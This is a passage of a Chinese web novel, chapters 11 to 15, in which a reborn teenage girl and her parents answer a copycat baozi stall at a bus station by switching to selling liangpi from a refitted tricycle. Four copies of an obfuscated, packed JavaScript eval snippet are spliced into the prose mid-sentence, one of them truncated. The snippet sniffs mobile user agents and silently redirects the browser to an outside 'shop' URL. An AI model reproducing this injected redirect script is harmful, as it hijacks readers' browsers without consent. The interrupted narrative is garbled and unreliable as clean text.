“今天早上东边又来了一份卖包子的,他们卖的包子跟你们家的一模一样!” 苏丽珍心里一沉。 11. 第十一章 虽然早就知道将来这附近必定不会只有自己一份卖包子的,可她没想到会来的这么快! 她握住林小麦的手,沉声说:“小麦,具体怎么回事,你跟我们好好说说!” 林小麦便伸手朝着客运站那边一指:“你们看,那儿新来了一个包子摊,跟你们一样也卖猪肉大葱、韭菜鸡蛋和包菜粉条三种馅儿!” “我都打听了,他们卖得每种包子都比你们家便宜两分钱!而且他们也免费送绿豆汤喝!” 苏家人听完面色微变,赶忙顺着林小麦指的方向看过去,尽管中间隔了四五十米远,还是一眼就能看见客运站正门东边多了一份小摊。 而且时不时还能听见诸如“肉包子一毛六”“素包子八分”“好吃不要票”这样的吆喝声。 这会儿,那摊子周围已经围了一圈人,显见着生意不错! 林小麦也注意到了那边买包子的人似乎越来越多,声音不自觉急切起来,“他们来得早,十点钟不到就摆好了摊子!那个摊主一来就吆喝,大伙儿一听说他们的包子便宜就都奔他们去了!” 还真是有备而来啊! 苏卫华和李翠英听完又是着急、又是生气。 李翠英忍不住嘟囔:“他们怎么能这样,明明……” 明明什么,她说不出口,但所有人都明白她的意思! 只不过,谁也没规定别人家就不能卖同样馅料的包子,不能白送绿豆汤,不能比他们家便宜两分钱! 气氛有些凝重,林小麦小声说道:“叔、婶,珍珍妹子,这事你们得赶紧拿主意!” 她念着苏家人对她的好,又实在看不惯对方这种没脸没皮的做派,这才连自己的摊子都不顾,早早跑过来等着给苏家人报信,好让他们有个思想准备。 不过这事也确实棘手,这买卖可不等人啊! 苏丽珍感激她的这份心,不由对她真诚道谢:“小麦,谢谢你特意来告诉我们!对了,你的东西呢?可别因为我们耽误你自己出摊!” 林小麦摆手,“没事,我的摊子叫报刊亭的王大爷帮忙看着呢!我这是小事,关键是你们这边,可不能叫人把生意都抢走!” 苏丽珍略一思索,便对她说:“小麦,我想请你帮我个忙!” 林小麦:“什么忙,珍珍妹子,你只管说!” 苏丽珍:“我想让你先去把他家的包子一样买上两个,然后再悄悄给我们送来!” 林小麦立马心领神会,点头说:“我明白了,你放心,我这就去!” 苏丽珍给她拿了一块钱,“谢谢你,小麦!” 等林小麦走了,李翠英才忧心忡忡地开口:“卫华,小麦,咱们咋办啊?” 顿了顿,又有些犹豫道:“要不然待会儿咱们也把包子便宜点卖?” 苏丽珍连忙摇头,“妈,这不行!他们既然有备而来,说明一开始就打着通过压价的方式挤走咱们。咱们要是冒然跟着降价,那就真着了他们道了!” 价格战是“伤敌一千,自损八百”的招数,不到万不得已不能用! 况且看对方这架势,用了也不见得管用。 苏卫华皱着眉头,觉得闺女说的话有道理。 这种事他以前听老人们当故事讲过,什么“两个开饭馆的为了揽客争相降价,结果最后便宜了吃客”之类的。 当时就当个乐子听了,事到如今,轮到他自己头上,可就一点也笑不出来了! 也是这个时候他才发现,其实做买卖、当小贩这事真不像他想的那么简单,这里面也有不少难题,更有许多学问。 苏丽珍看着忧心忡忡的父母,赶忙宽慰两人,说道:“爸、妈,你们也别着急,咱们走一步、看一步,先等小麦把包子买回来再说!” 苏卫华没说什么,只是点了点头。 一直眼巴巴看着女儿的李翠英则有些失望,随即她又有些羞愧,闺女毕竟还只是个十六岁的孩子,自己不该遇事就指望闺女拿主意! 其实连她自己都没发现,不知不觉中,她已经越来越信赖苏丽珍,俨然快要超过苏卫华这个一家之主了。 林小麦很快就回来了。 苏丽珍接过她带回来的六个包子,一搭眼就看见这些包子个头跟他们家的差不多,甚至肉包子比他们家的还稍大一点。 不过一上手,她就发现这些包子的分量轻了点,里面的馅儿肯定不算大。 果然,将这六个包子依次掰开来,有素菜的包子还好,肉包子的肉团明显不够大,面皮快有一指厚了! 再尝味道,素馅包子不说什么复杂的调味,就是基本的油放得都少,口感很像是吃水煮菜; 肉包子的猪肉其实不大新鲜,连苏丽珍这样的外行都能吃出来!而且大约是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746381|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道肉馅不够,干脆就咸盐来凑,配上这厚厚的面皮,勉强保证了不咸不淡。 其他诸如韭菜鸡蛋馅儿根本看不到多少鸡蛋,包菜切得不够细碎,菜叶有大有小等等小问题也很多。 吃完了这六个包子,李翠英的脸色肉眼可见地好了起来。 “小麦啊,婶儿这不是自卖自夸,他们家这包子比婶儿包的还是差了一点!” 林小麦可是李翠英手艺的忠实拥护者,听了这话立马点头如捣蒜。 “婶儿,你也太谦虚了,啥差了一点啊,要我说根本就是差了老鼻子了!” “我可算知道他家为啥卖得便宜了,就这味道,要不卖便宜点,谁能买他家的啊!” 林小麦的高度认可让李翠英既高兴、又有些不好意思,不过之前的担忧紧张也一下去了大半! 等人走后,她就拉着苏丽珍小声说道:“珍珍,这下我可放心了,妈包的包子比他们的好吃多了!他们肯定挤不走咱!” 苏卫华也一扫之前的阴霾,脸上重新露出了笑容,“对,咱们还是得对你妈有信心!” 看他们这样乐观的样子,苏丽珍到嘴边的话又咽了下去。 事实上,她并不认为自家包子味道好就能在这场竞争中胜出。 现在买他们包子的顾客群体,大部分是纯粹坐车的乘客,只有一小部分算是回头客。 而现在这个年月,刚解决温饱没几年,比起追求味道,大伙儿更在意的还是价格。 也就是说,相同的食物,在一样能填饱肚子的前提下,自然是越便宜越好! 在这样的社会前提下,苏丽珍并没有自信仅仅是因为味道好就能让第一次购买的顾客忽略价格上的差异。 除非他们的包子名气足够大! 可他们出摊满打满算还不到一个月,能在现在客流量的基础上保证一小部分的回头客已经算不错了。 不过看苏卫华夫妻俩自信满满的样子,苏丽珍也不忍心现在就打破他们的幻想,到时候见招拆招吧。 果然,苏丽珍料想的一点没错,即便他们的包子味道远胜对面摊子,可生意还是受到了很大影响。 直到下午两点,他们才卖出了七十多个包子!平时这个点,他们都已经收摊回家了! 而就这卖出的七十多个包子,也基本都是些吃过的老客人特意找过来的。 12. 第十二章 苏卫华夫妻俩不由着急起来,尤其是看到对面接连卖光了几屉包子后,很快又有人送来一车新出锅的,竟是源源不断,准备一直卖下去了! 这让原本还打算等着对方卖完离开、自家好借机喘一口气的夫妻俩再也站不住了! 毕竟现在天热,这锅里的包子老是这么闷着,半天过去肯定发嗖,那损失可就大了! 连林小麦在一旁也跟着干着急,见他们这里实在没什么人,干脆自己摸出钱来要买他们的包子。 今天没有肉包子,李翠英调了胡萝卜粉条、韭菜鸡蛋和西葫芦鸡蛋三样馅儿。 苏丽珍每样给她拿了一个,却没收她的钱。 “小麦,平时想请你吃一个,你总是推辞,怕我们不够卖,这回你可不用担心了!拿着,要不然下次我们也不要你的毛桃和山杏了!” 林小麦听她这么说,犹豫了一下,到底还是收起了钱。 不过她拿到包子后,并没有回自己摊子上,而是直接走到客运站门口,冲着乘客出来的方向一边大口吃起来、一边故意高声喊道:“哎呀,这包子真是太好吃了!” 有她带着,竟然真的招来了一拨儿客人! 只可惜对面摊子听见动静也跟着吆喝起来,一听说对面一样馅儿的包子都便宜两分钱,这一拨儿客人直接就过去了大半。 林小麦不甘心,还想再去喊,却被苏丽珍拦住了。 小麦不比自家,一向是独来独往,万一对面看她一个女孩子,对她不利就麻烦了! 她看了眼苏爸的手表,已经两点二十了,不能再耗下去了。 “爸、妈,收拾收拾,咱们换个地方!” 苏卫华夫妻俩不甘心,可也知道不换地方的话,今天这几屉包子非得都白扔在这儿不可! “珍珍,咱们去哪儿啊?”李翠英的声音十分惶恐,原本那点沾沾自喜早已被对面源源不断的客流打击的烟消云散。 “去火车站!”苏丽珍果断回答。 凤城不但是省城,也是连接临近周边几大省份的交通枢纽,火车站客流量大,他们这点包子即便有同行竞争也应该能吃下。 苏丽珍简单收拾好东西,又在副食店阿姨同情的目光下买了几根冰棍重新投入绿豆汤桶,告别林小麦,推着车子就往火车站赶。 火车站离客运站步行也要半个多小时,为了能多卖一点,这一路上苏丽珍一直在吆喝。 “卖包子啦,好吃的大馅儿包子!买包子还白送绿豆汤啦!” 看闺女这么卖力,苏卫华两口子也很快调整好情绪,跟着一起大声叫卖。 许多人被那一大桶冒着凉气的绿豆汤吸引,掏钱买包子的不少,这一路竟然断断续续又卖出去了三十多份! 等到了火车站,只见来来往往的行人旅客络绎不绝,这人/流量能顶上三个客运站了,果然“铁老大”的名头不是虚的! 苏丽珍简单看了一圈,发现眼下火车站门口只有几份摆摊的,有卖汽水雪糕的,卖水果的,也有卖花生瓜子的。 就一份跟他们一样卖主食,卖的是麻花! 一家人见此立时精神一振,赶忙大声吆喝起来。 也许是因为这周围只有他们这一份卖包子的,也可能是火车站的客流确实够大,原本还让苏卫华夫妻俩愁得够呛的二百多个包子,到下午四点半也都尽数卖光了! 看着空空如也的蒸屉和汤桶,苏卫华和李翠英这才齐齐松了口气。 虽说是折腾了点儿,好在最后包子没砸手里,夫妻俩还是十分高兴的。 回去的路上,李翠英就说:“我看这火车站挺好的,人也多,我看不如咱以后就都上这儿来卖吧!” 苏卫华没马上回答,反而把目光投向了女儿,“珍珍,你觉得咋样?” 看着父母眼中那充满希冀的目光,苏丽珍心里叹了口气,轻声反问两人:“那要是将来在火车站也出现今天这种情况,怎么办?” 夫妻俩面色一窒! 苏丽珍看两人的脸色,又继续说道:“爸、妈,你们是不是觉着这火车站门口够大,如果将来真的又来了一家恶意挤兑咱们的摊子,大不了咱们跟他们一个在东、一个在西,反正火车站有两个门,咱们各卖各的,谁也别影响谁?” 苏卫华和李翠英对视一眼,都在各自的眼中看到一抹儿心虚。别说,他们还真是这么想的,反正他们对自家用了好方子的包子馅儿有信心,不怕货比货! 苏丽珍看他们这反应,就知道自己说中了,心下不禁暗叹,爸妈还是旧思维,根本想不到其实“酒香”也怕“巷子深”,不是你的东西够好就能理所当然地受大伙儿欢迎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746382|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况如今,“酒香”怕的也不只是“巷子深”! 她有心借这个机会让苏卫华夫妻扭转一下思路,于是当即不客气地又反问道:“那要是来的不只一家,再有第二家、第三家,甚至十家、八家的,到时候咱们还能躲到哪儿去?” 夫妻俩想到那个场景面色立刻有些发白,李翠英干巴巴道:“不、不会吧……应该没有那么倒霉……” 苏丽珍不语,只是意味深长地看着他们。 夫妻俩在女儿的目光中慢慢沉默下来。 女儿说的没错,其实是他们太天真了!想想这年头最不缺的就是跟风,更何况是挣钱发财这种事! 没摆这个摊子前,他们也跟其他人一样,看不上干个体的,直到自己亲自参与了才知道,同样是挣辛苦钱,这摆摊的利润有多大! 这段时间,认识他们两口子的朋友、老同事知道了他们摆摊的事,大多数人都表达出了同情和惋惜,觉得他们家妥妥地在走下坡路! 可谁能知道,在这不到一个月的时间里,他们已经挣了有小八百块呢? 尽管夫妻俩秉着“财不露白”的想法,统一口径,对来打听他们挣多少钱的人,一律都是一句“对付生活,混个温饱”。可事实上,这种事根本瞒不住!。 毕竟卖包子不是什么太复杂的手艺,只要在他们摊子边上多留心观察,很快就能估算出他们这一天的毛利、净赚,一点不费劲! 现如今随着大批下乡知青返城,没工作、没收入的人越来越多,这涉及到挣钱的事,多少双眼睛直勾勾盯着呢! 要不然今天这个处处学他们、还恶意挤兑他们的摊子是怎么来的! 所以闺女说的那些完全有可能,他们光想着躲肯定解决不了问题! 良久,苏卫华才沉声说道:“要不然这段时间咱就先两头跑着,然后再慢慢想办法。” 毕竟他们家的包子也是有几个回头客的! 而且他也不想就这么灰溜溜地被人挤走,他们第一次摆摊就在客运站门口,肯定是有些不同的。 反正今后在哪儿都一样,就干脆不走! 李翠英看了看丈夫和女儿,最后捏紧了拳头,也跟着点了点头。 一家人就这件事基本达成一致。回去这一路,夫妻俩的话都少了很多,显然是一直在思考对策。 13. 第十三章 苏丽珍见此,不由十分欣慰。不是她故意挑刺,早期她也曾把火车站列入过摆摊地点的选择之一。 只是考虑到后期火车站附近秩序最是混乱,有大批小偷扒手不说,甚至光天化日下就有敢抢劫勒索的!直到严打后,这种情况才有所改善。 加上火车站离他们家的距离确实有点远,来回一趟就要两个多小时,时间都耗在路上不说,人也更累。 所以她才希望打消父母这个想法。而且,针对今天的事,她其实也已经想到办法了,只是想看看爸妈自己能不能想出合适的点子来。 如今,虽然国家已经有一定的政策倾向鼓励城市内的个体经济发展,只是因为具体实施细则还没有颁布,所以许多人还不敢有所行动。 按照她的记忆,大约明年这个时候,国家就会对个体从业者有明确的相关规定,到时个体经济必然全面开花,迅速发展,竞争势必会越来越激烈。 所以她也希望自己父母的思维能够转变过来,不说什么大胆创新、与时俱进,起码得多动脑筋,跟得上形势,这样以后的路子才能越走越宽、越走越远。 一家人到家的时候已经快六点钟了。 因为最近挣到了钱,加上生意好,心情好,这些日子苏卫华的身体状况一直保持的不错,只是今天一天奔波的时间有些长,加上着急上火,这会儿他的脸色就不太好。 娘儿俩担心他犯病,到家第一件事就是劝他回屋躺着。 苏卫华这会儿哪有心思躺下,最后好说歹说总算是让闺女答应给他在院子里摆张椅子,一边老老实实坐下休息,一边看媳妇、闺女收拾那些锅碗瓢盆。 李翠英手上活计没停,只是时不时抬头看一眼苏丽珍,或者瞄一眼苏卫华,一副欲言又止的样子。 苏丽珍注意到妈妈的样子,想着她心里必是有了什么成算,忙主动问道:“妈,你是不是想说啥?” 李翠英手上一顿,看着女儿充满鼓励的眼神,又看了眼闻声朝自己看过来的丈夫,竟然破天荒地有点不好意思。 在这个家里,她一向惯于听从丈夫的想法。这么多年来,也就是当初苏卫华病重还不想离职那一回,她大动肝火,吓得他最后乖乖同意回家休养。 如今冷不丁地要在男人和闺女面前表达自己的想法,这感觉虽说怪怪的,不过好像也不算赖。 “那啥,我就是觉得,既然那家跟着咱们学卖包子,那咱干脆就不卖包子了!咱可以换个啥别的东西卖,最好是难学一点的,让他们看见也学不会!” 听着有点意思! 苏丽珍弯起了唇角。她妈没啥文化,半辈子围着丈夫、女儿转,能这么快就转换思路,没在卖包子这一件事上死磕,让她觉得特别惊喜。 连苏卫华也听出了几分味道,赶忙催问:“英子,你是不是想到啥了?赶快跟我们爷儿俩说说!”一着急,连李翠英的小名都直接叫出来了! 李翠英忍不住白了他一眼,这人,一大把年纪了,当着闺女的面啥都敢喊,怪没羞的! 不过,她也没卖关子,继续说道:“我们大师傅教过我一种南方小吃,叫油墩子,主要是用白萝卜丝和面粉做的,也能加肉馅儿,然后过油炸,我吃着比油条还香!” “这玩意儿咱这嘎达可没有卖的,做法说难不难,说简单也不简单,它得用一种特殊的模具,要不然做起来不趁手!我估摸着咱要做这东西,短期内旁人肯定学不来!” 苏丽珍上辈子一直没出过东北,后来又偷渡到米国,所以没听说、更没吃过这个油墩子,不过既然是油炸食品,想必味道错不了。 虽然油炸的烹饪方式会增加成本,但是白萝卜和面粉都不值钱,在普遍缺油的年代,人们对油炸食品的认可度更高,好好盘算一下,利润应该不比卖包子低。 不过眼下天正热,这种油炸食品的受欢迎度还是要打些折扣。 她这里有一种更加合适的小吃,之前没说,是想让父母转变思维,主动思考,现在成效不错,也没必要压着了,“爸、妈,其实我……” “师父、师娘,小师妹,你们快出来,看我给你们带啥了!” 没想到她这边才刚起个头,就被大门外头一阵突如其来的大嗓门打断了。 一听这声音就知道是丁大勇来了。 丁大勇跟苏卫华关系好,隔三差五就要过来帮忙干点重活,偶尔也会送些自家做的东西。 一家人赶忙起身迎了出去,结果大门一开,立马被丁大勇带来的东西惊住了! 这可不是啥小物件,那竟是一辆涂了乳白色新漆的三轮车! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746383|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大勇啊,这是咋回事?哪儿来的车啊!” 丁大勇擦了擦脸上的汗水,乐颠颠答道:“师父、师娘,我看你们那辆三轮车太小了,也旧,怕你们用着不得劲!我就抽空把我们家那辆改了下,以后咱们两家的车换一下,你们就用我新改的这辆!” 苏卫华夫妻俩自然不能答应,这车一看就是用了心的! 跟他们家那辆一直拉煤用的旧三轮完全不一样,这车的车身不但经过重新拓宽、加长,而且还在四周齐刷刷竖了一圈铁皮围栏,这围栏足有三十公分高,这样来回装运物品时,就不用担心东西会滑出车外。 此外,车厢四角还各自加焊了一根铁棍,充作四根立柱,如果往顶上罩一层棉布或者塑料布,就是一个能遮阳挡雨的小棚子! 苏卫华马上说道:“大勇,你这车改的太好了,我们不能换,这不是占你的便宜吗!” 一听这话,丁大勇急眼了,“师父,你这说的啥话!你帮过我那么多,现在换我这个当徒弟的想要孝敬孝敬你,咋就是占便宜呢!” “再说,我这车都是用厂里的边角碎料改的,就是这层漆也是捡的喷涂车间用完的货底子,我自己一分钱都没花,你就放心拿去用吧!” 见他这样,苏卫华也知道拒绝没用,毕竟说多了反倒显得生分。 等丁大勇走后,一家人忍不住围着这辆气派的新三轮看了又看。 苏丽珍看着车身四角的四根铁棍立即想到,如果在这四根铁棍之间绑上绳子,再选一块漂亮的布料,就能做一个简易拉帘,把车身都罩住! 这样整体看起来更加干净卫生不说,还能在帘子上写字或者画画,这就相当于挂了个招牌! 想到招牌,她才一拍脑门,摆了这么长时间摊子,他们家小摊还一直没有名字招牌呢! 这事可不应该忘了,不过在给摊子取名前,还是应该把眼下的难题解决。 “爸、妈,咱们说回之前的话题。妈说改做油墩子,我觉得也是个不错的主意,我对她的手艺也有信心。不过我这里还有一个想法,想让你们也听听!” 听女儿这么一说,夫妻俩立时把注意力转到了她身上。 “妈,我记得你们食堂柳师傅是秦省人,那他有没有跟你们说过,他们那边有一种叫‘凉皮’的小吃?” 14. 第十四章 李翠英喜欢下厨,绝大多数跟美食有关的东西她都能留有印象。 所以尽管不明白女儿为啥突然提起这个,但她还是下意识点了点头:“当然知道!原先厂子里的工会主席也是秦省人,他没调走前,一到夏天最热的时候就请柳师傅给他做凉皮,我们也跟着借光尝过两回!” 一提起这些,李翠英的话就不由自主多了起来,“说起来,这凉皮用料简单,也不算费事,可那个味道是真好!滑溜溜的,筋道道的,配上黄瓜丝、辣椒油、芝麻酱,再加一勺老陈醋,哎呀,又酸又辣,老爽口了!尤其是夏天吃啊,就是没啥胃口的人也能吃个一大碗……” 说着、说着,李翠英的眼睛陡然一亮,回过神来当即看向苏丽珍,“闺女,我知道了,你是想让咱们改做凉皮?” 苏丽珍不由回给她一个肯定的微笑,“妈,你可真厉害,一下就猜到了!” 李翠英一拍大腿,“珍珍,要说还是你脑瓜子灵,这凉皮还真是最适合现在这个时候卖了!” 苏卫华在一旁看母女俩有来有往说得热闹,也不甘落后,赶忙插话道:“哎哎,你们娘儿俩别光顾着说自己的,这凉皮我连听都没听说过,你们快跟我说说,这东西究竟是咋做的!” 李翠英被他那眼巴巴的样子给逗笑了,便给他细说起来:“这东西其实不算难,就是有点费面!首先呐,你得先洗面,洗面就是……” 苏丽珍坐在一旁静静地听着,妈妈耐心细致的讲解声将她的思绪带回了上一世。 遥远的异国他乡,在她最狼狈无助的时候,有一位老人,亲手端给了她一碗饱肚的食物。 记忆里那入口一瞬间的酸辣咸香,是足以让她铭记两辈子的感恩和怀念…… “哎呀,听你这么一说,我觉得这凉皮做起来真有点费事!要这么麻烦,还不如吃一碗过水面条了,一样凉快嘛!”那边听完媳妇讲解的苏卫华忍不住摇头。 李翠英可不服气了:“这面条是面条,凉皮是凉皮,各有各的好!你啊,就是没吃过,要不然肯定不会这么说!是吧,珍珍!” 苏丽珍回过神来,忍不住笑道:“妈,我也没吃过凉皮,之所以知道,也是在先前我跟你们说的那本旧食谱上看到的。” 苏卫华听完恍然,他就说一样天天在家吃饭,怎么闺女就知道这东西呢! 苏丽珍不想在这件事上多说,就转移父母的注意力道:“妈,我听你刚刚说的跟书上记得也没差多少,你要不要干脆试一下,先做一份凉皮出来,顺便也叫我爸尝尝,看看这凉皮值不值得卖?” 李翠英略一思索,却微微皱起了眉,“这个倒是不难,虽说我没亲手做过,但是步骤我都记得挺清楚,大不了多试几次,我肯定能鼓捣出来!就是当初柳师傅调的料汁挺不一般的,我自己私下琢磨过,却总拌不出人家那个味来!” 苏丽珍笑道:“妈,这个你不用担心,你忘了我刚刚跟你提过的那本书?那上面就有关于调制凉皮料汁的方子!这样吧,明天早上我就去一趟图书馆,把那个方子抄下来给你参考!” 听女儿这么说,李翠英越发有了几分底气,索性当天晚上就揉了面团,开始洗面,准备等明天一早起来就试蒸凉皮。 苏丽珍当夜就把《料经》里有关凉皮的制作方子另写了一份出来。 其实这些日子,她已经把整本《料经》都默写下来了,只不过最近她天天跟苏卫华夫妻俩忙活着摆摊的事,没法一下子把一整本书都拿出来。 不过距离高中开学还有一段日子,她可以找机会将书中余下的内容陆续交给李翠英学习。 第二天早上,几乎她刚睁开眼睛,就听见外头院子里苏卫华带了点惊喜的声音,“原来这就是凉皮啊!” 一定是李翠英成功做出凉皮了! 苏丽珍赶忙起床,走到屋外,果然看见李翠英正用院子里新砌的土灶蒸凉皮! 旁边一个大号搪瓷盆里已经摆了好几张蒸好放凉的凉皮了! 苏卫华立刻高兴地对苏丽珍说道:“闺女,你妈可真是厉害,这第一回就做成了!你看这玩意儿滑溜溜的,看着透亮,摸着还有点弹弹的,真是跟面条不一样!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746384|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李翠英也很高兴,看见闺女过来,忙端出一早准备好的面筋、黄瓜丝和自己调制的料汁,动作利落地切了几张凉皮拌好,给爷儿俩一人夹了一碗。 苏丽珍吃了一口,凉皮蒸得刚刚好,薄厚适中,柔软又不失那股微微的韧劲,面筋也筋道弹牙! 虽然李翠英调制的料汁不如记忆里那一碗的香辣鲜活,但味道也不算差,就这样出摊也完全可行的。 不过李翠英在这一方面是个绝对的完美主义者,只吃了一口就失落道:“不行啊,跟人家柳师傅的还是差了不少!” 苏丽珍正想宽慰几句,余光却发现了一旁苏卫华的小动作,赶忙“告状”:“妈,你看我爸!” 李翠英看过去,这才发现这人正趁自己不注意,偷偷往自己碗里添辣椒油,登时板起了脸:“苏卫华,都跟你说多少回了,你那身体不能吃太多辣椒,你赶紧给我把那勺子放下!” 苏卫华被抓了个“现形”,只得讪讪地收回手,“英子,你做这凉皮实在太好吃了!尤其配上这辣椒油,真是老香了,我这就没板住!” 李翠英瞪了他一眼,到底不放心,直接把辣椒油碗拿到自己跟前,“香也不行!你要不听话,以后给你做的凉皮我就一点辣椒也不搁!” 苏卫华一下就蔫了。 苏丽珍忍不住在一旁偷笑,手里的凉皮虽然没有记忆中的那么出色,但对她来说,也自有一种别人无法复制的特殊味道。 既然凉皮已经试做成功,趁着如今天气热改卖凉皮的想法也就顺理成章定了下来。 当天上午,苏丽珍去图书馆负责“抄方子”,顺便去自由市场把家里的油盐佐料等补齐。 李翠英要拿着布票到百货大楼扯点布料回来给新三轮车做雨棚和拉帘。 苏卫华则留在家里,负责给自家的摊子想一个好听又响亮的名字! 三人各有分工,不过这些事情加在一起,估计也得耗去小半天的时间。 出摊是肯定出不了了,一家人就当是给自己放了个假,也正好养足精神,为明天的凉皮大卖做好准备! 15. 第十五章 苏丽珍去图书馆只是幌子,所以她直接就去自由市场买齐了要用的东西。不过回家前,她又特意跑了趟客运站,告诉林小麦自家今天休息一天,让她不要担心。 林小麦听完松了口气,“这就好,我还担心你们以后会换到别的地方呢!” 苏丽珍笑道:“不会的,再说换哪里都是一样的。”以后这种事会越来越多。 林小麦听明白了她的意思,不由下意识往对面那家包子摊看去,目光中有些不忿。 苏丽珍也顺道看了一眼。那家摊子这会儿生意还不错,没怎么费心吆喝,来买包子的人也不少。 摊主是一对中年夫妻,男的一副老实巴交的面相,女的也是一脸笑眯眯的。 只是没想到,那女人察觉到她们的目光,转头看了过来,认出苏丽珍后,立即露出一个幸灾乐祸的笑容,甚至直接回了她一记挑衅的眼神。 “什么人啊这!” 林小麦气得够呛,苏丽珍忙拉住她,顺势转个身,自己背对那夫妻俩,挡住他们看过来的视线。 “算了,小麦,他们这种做派今后也走不远的,没必要为这种人动气。” 想起昨天那带了哈喇味的肉包子,对方这样明显没把心思放在本该最用心的食物上,这样下去迟早要翻车。 不过看着摊子上一直没断过人的红火场面,她还是叹了口气。 回去一定要把他们摊子的招牌弄好,明天卖凉皮的时候早早打出来,要不然同在客运站门口卖小吃,说不定哪天要遭了池鱼之殃。 孙志刚是省城收音机厂的一名技术员,这两天去临市一个小县城里出差,坐了一上午长途汽车,这会儿可算到家了。 三伏天本就闷热难耐,车上更是各种气味混杂,这一上午的时间,他都不知道自己是怎么熬过来的! 等下了车,还没等感受一下空气中那丝丝缕缕的微风,就被头顶酷热的大太阳晒得一个踉跄,差点一头摔在地上! 他赶忙快走几步,躲到了大门口的阴影处。 暂时逃脱了头顶的暴晒,他不由轻轻吐出一口气,可随即心底又涌起一股烦躁。 这么热的天,厂里的领导却非要让他去下面县城里的几家小厂子,帮助对方进行生产线的日常维护工作!明明尽是些鸡毛蒜皮的小事,却美其名曰是发扬团结互助精神,给下面兄弟单位“送温暖”! 这么一顶大帽子扣下来,就是再不愿意,他也不得不去!如今才走完第一家,过两天还得接着走! 现在只要一想到这些,他连厂子都不想回了! 孙志刚拖着沉重的脚步走出客运站大门,结果不经意地一抬头,他就被眼前一景给吸引住了。 只见前面大树荫下,正停着一辆挺时髦的三轮车! 这车子通体刷了乳白色的油漆,车子顶上用白色帆布搭了个罩棚。 棚顶四周则以更轻薄的白色棉布一层层压褶,做了个巴掌宽的菲边,菲边上特意缀了两圈蓝色的线绳,瞧着可真洋气! 另外,两边车身也都罩上了白色的围帘,搭眼看过去,上面好像还画了画呢! 孙志刚不知不觉被吸引,两只脚下意识就往那边挪去了。 等走近了,他才认出那围帘上原来画了一个胖乎乎的小娃娃! 胖娃娃头顶上好像顶着一碗“面条”,手里还拿着个圆圆的大包子,对面则站着一只胖得肚子拖地的小花狗和一只浑身圆溜溜的小肥猫! 孙志刚忍不住看笑了,这画得虽然有点夸张,但是充满了天真童趣,还怪可爱的! 可惜站在他这个角度只能看清楚这一面围帘上的画,也不知道对面画的什么,应该绕过去瞧瞧…… “这位大哥,想要吃点什么?”就在这时,一道悦耳的少女声音突然在他耳边响起。 孙志刚一个激灵,回过神来,看见面前的少女,又透过围帘看见车里规整摆放的各种锅碗桶盆,这才发现,原来这辆时髦可爱的三轮车竟然是个小吃摊! 他顿时有些不好意思,心情不好又坐了一上午车,他这会儿其实没什么胃口! 刚想张口拒绝,谁知一股又酸又辣、还夹杂着黄瓜清香和芝麻酱浓香的特殊香味就钻进了他的鼻孔,刺激得他当场咽了口口水。 拒绝的话不自觉就变了,“你们这儿卖的什么?” 少女朝他露出了一个好看的笑容,“大哥,我们这儿有包子、凉皮!看您好像坐了挺长时间车,我建议您买一碗凉皮尝尝,这个酸辣开胃,很适合夏天吃!” 凉皮? 孙志刚有些好奇,他听过做猪皮、鸡皮、鱼皮,还没听说过凉皮!这是什么皮做的? 他有心想问,又怕漏了怯,人家笑话,一双藏在眼镜下的小眼睛四下扫了扫,果然发现这三轮车周围有好几个人或站、或坐,正埋头苦吃! 孙志刚注意到这些人碗中的食物好像都是一种白色的面食,不过上面淋了不少红油,乍一看油汪汪的,再配上翠绿的黄瓜丝,看着确实挺有食欲的。 这应该就是一种加了辣椒油的面条吧! 他轻咳了一声,收回目光,问少女道:“你这凉皮怎么卖?” 少女:“三毛钱一碗,不要票!” 孙志刚当即有些吃惊,这么贵! 国营饭店一碗二两的素面才一毛二,这凉皮就是加了点黄瓜就要三毛,也太贵了! 少女似乎看出他的迟疑,笑眯眯解释道:“大哥,咱们这凉皮是秦省的地道小吃,做起来非常耗时间!而且它用到的调料也非常多,尤其是这辣椒油和芝麻酱,成本真的很高的。” 